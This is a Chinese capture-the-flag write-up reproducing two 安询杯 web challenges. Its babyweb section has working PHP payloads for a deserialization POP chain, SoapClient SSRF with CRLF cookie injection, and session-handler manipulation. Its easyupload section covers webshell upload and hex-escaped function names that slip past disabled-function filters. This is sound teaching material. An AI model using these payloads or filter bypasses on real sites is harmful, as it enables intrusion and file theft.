安询杯web复现
安询杯
babyweb
源码:
index.php
<?php
//something in flag.php
class A
{
public $a;
public $b;
public function __wakeup()
{
$this->a = "babyhacker";
}
public function __invoke()
{
if (isset($this->a) && $this->a == md5($this->a)) {
$this->b->uwant();
}
}
}
class B
{
public $a;
public $b;
public $k;
function __destruct()
{
$this->b = $this->k;
die($this->a);
}
}
class C
{
public $a;
public $c;
public function __toString()
{
$cc = $this->c;
return $cc();
}
public function uwant()
{
if ($this->a == "phpinfo") {
phpinfo();
} else {
call_user_func(array(reset($_SESSION), $this->a));
}
}
}
if (isset($_GET['d0g3'])) {
ini_set($_GET['baby'], $_GET['d0g3']);
session_start();
$_SESSION['sess'] = $_POST['sess'];
}
else{
session_start();
if (isset($_POST["pop"])) {
unserialize($_POST["pop"]);
}
}
var_dump($_SESSION);
highlight_file(__FILE__);
flag.php
<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$f1ag=implode(array(new $_GET['a']($_GET['b'])));
$_SESSION["F1AG"]= $f1ag;
}else{
echo "only localhost!!";
}
分析:
先看一下flag.php
要求$_SERVER["REMOTE_ADDR"]==="127.0.0.1"否则就会返回only localhost!!
再看
$f1ag=implode(array(new $_GET'a'));
先看一下implode和array函数
implode:把数组元素组合为字符串:
array:函数用于创建数组
array里面包括着
new $_GET['a']($_GET['b']
所以这里就是array把new $_GET['a']($_GET['b'])获得的结果经过array转换成数组,然后通过implode函数将他们组合为字符串
在回到new $_GET['a']($_GET['b']
这里我们可以通过调用php原生类去获取flag
$f1ag=implode(array(new $_GET['a']($_GET['b'])));
$_SESSION["F1AG"]= $f1ag;
这里我们通过php原生类获取的flag会赋值给$f1ag,然后$f1ag会把值写入session中
最后输出session值我们就能得到flag
但是想要利用的前提条件是
$_SERVER["REMOTE_ADDR"]==="127.0.0.1"
这里很明显我们要使用ssrf去实现
但是现在如何去实现ssrf呢?
我们可以使用php原生类中的SoapClient类中的_call方法发送http请求进行ssrf
所以可以构造ssrf的利用链:
<?php
$target='http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "crypt0n\r\nCookie:PHPSESSID=flag2333\r\n",
'uri' => "http://127.0.0.1/"));
$a = serialize($b);
echo "|".urlencode($a);
分析:
我们分析一下上面的利用链
$target='http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg'
这里利用SplFileObject类去获取flag文件里面的内容(首先应该使用SplFileObject去获取flag文件的名字)
$b = new SoapClient(null,array('location' => $target,
'user_agent' => "crypt0n\r\nCookie:PHPSESSID=flag2333\r\n",
'uri' => "http://127.0.0.1/"));
这里就是利用SoapClient进行SSRF
user_agent' => "crypt0n\r\nCookie:PHPSESSID=flag2333\r\n",
这段代码是利用CRLF在我们发起http请求时插入一段
PHPSESSID=flag2333
改变session文件名字,便于我们后期读取flag
但是现在又出现一个问题我们怎么去触发SplFileObject去进行ssrf
我们去看一下index.php
我们可以看到
call_user_func(array(reset($_SESSION), $this->a));
call_user_func是一个回调函数
会把第一个参数当作函数去调用
例如:
<?php
function nowamagic($a,$b)
{
echo $a;
echo $b;
}
call_user_func('nowamagic', "111","222");
call_user_func('nowamagic', "333","444");
//显示 111 222 333 444
?>
而call_user_func(array(a,b);会调用类的内部方法
例如:
<?php
class a {
function b($c)
{
echo $c;
}
}
call_user_func(array("a", "b"),"111");
//显示 111
?>
那么我们可以把ssrf利用链的结果写入到session文件中
然后通过构造pop连进行反序列化触发call_user_func函数
call_user_func函数会把reset($_SESSION)的值当作函数调用
输出数组中的当前元素和下一个元素的值,然后把数组的内部指针重置到数组中的第一个元素
reset最终得到的就是SoapClient
所以最终call_user_func去调用SoapClient访问a方法,a是不存在的方法所以会触发_call方法进行ssrf。
那么我们现在要做的就是把ssrf利用链的值写入到session文件里面
if (isset($_GET['d0g3'])) {
ini_set($_GET['baby'], $_GET['d0g3']);
session_start();
$_SESSION['sess'] = $_POST['sess'];
}
index.php存在这样的代码
我们可以post一个sess会写入到session文件里面
而且ini_set($_GET['baby'], $_GET['d0g3']);
这样ini_set的值是可控的,那我们就可以通过session反序列化把ssrf利用链子序列化后的值进行反序列化
然后通过构造pop链去触发call_user_func
else{
session_start();
if (isset($_POST["pop"])) {
unserialize($_POST["pop"]);
}
}
pop链:
<?php
//something in flag.php
class A
{
public $a = '0e215962017';
public $b;
public function __invoke()
{
if (isset($this->a) && $this->a == md5($this->a)) {
$this->b->uwant();
}
}
}
class B
{
public $a;
public $b;
public $k;
function __destruct()
{
$this->b = $this->k;
die($this->a);
}
}
class C
{
public $a ;
public $c;
public function __toString()
{
$cc = $this->c;
return $cc();
}
public function uwant()
{
if ($this->a == "phpinfo") {
phpinfo();
} else {
call_user_func(array(reset($_SESSION), $this->a));
}
}
}
$first = new B();
$first->a = new C();
$first->a->c = new A();
$first->a->c->b = new C();
$first->a->c->b->a = '11111';
echo((serialize($first)));
输出:
由于要绕过wake_up,修改参数
O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:5:"11111";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}
这里没出现回显的原因我们把获取的flag写入到了flag2333里面了,我们修改
cookie:PHPSESSID=flag2333
easyupload
文件上传
可以上传php文件,但是很多函数都被禁了
上传过程会检测文件内容
先上传一个hello world
上传一个木马文件
但是可以上传phpinfo
在phpinfo里面发现禁用了很多东西
这里可以利用字符串转义来绕过
def hex_payload(payload):
res_payload = ''
for i in payload:
i = "\\x" + hex(ord(i))[2:]
res_payload += i
print("[+]'{}' Convert to hex: \"{}\"".format(payload,res_payload))
if __name__ == "__main__":
payload = input("Input payload: ")
hex_payload(payload)
这里绕过的原因是php可以识别16进制,甚至不需要解码就可以识别
通过phpinfo,我们可以看到原生类没有被禁
所以可以通过构造原生类利用去查找flag文件的名字
<?php
echo
new DirectoryIterator("glob:///*");
获取到flag的名子
本来是想通过SplFileObject去读取文件但是尝试发现被禁了,尝试编码没成功
那么我们直接使用file_get_contents来读取flag
<?php
echo
"\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"("/fl1111111111ag");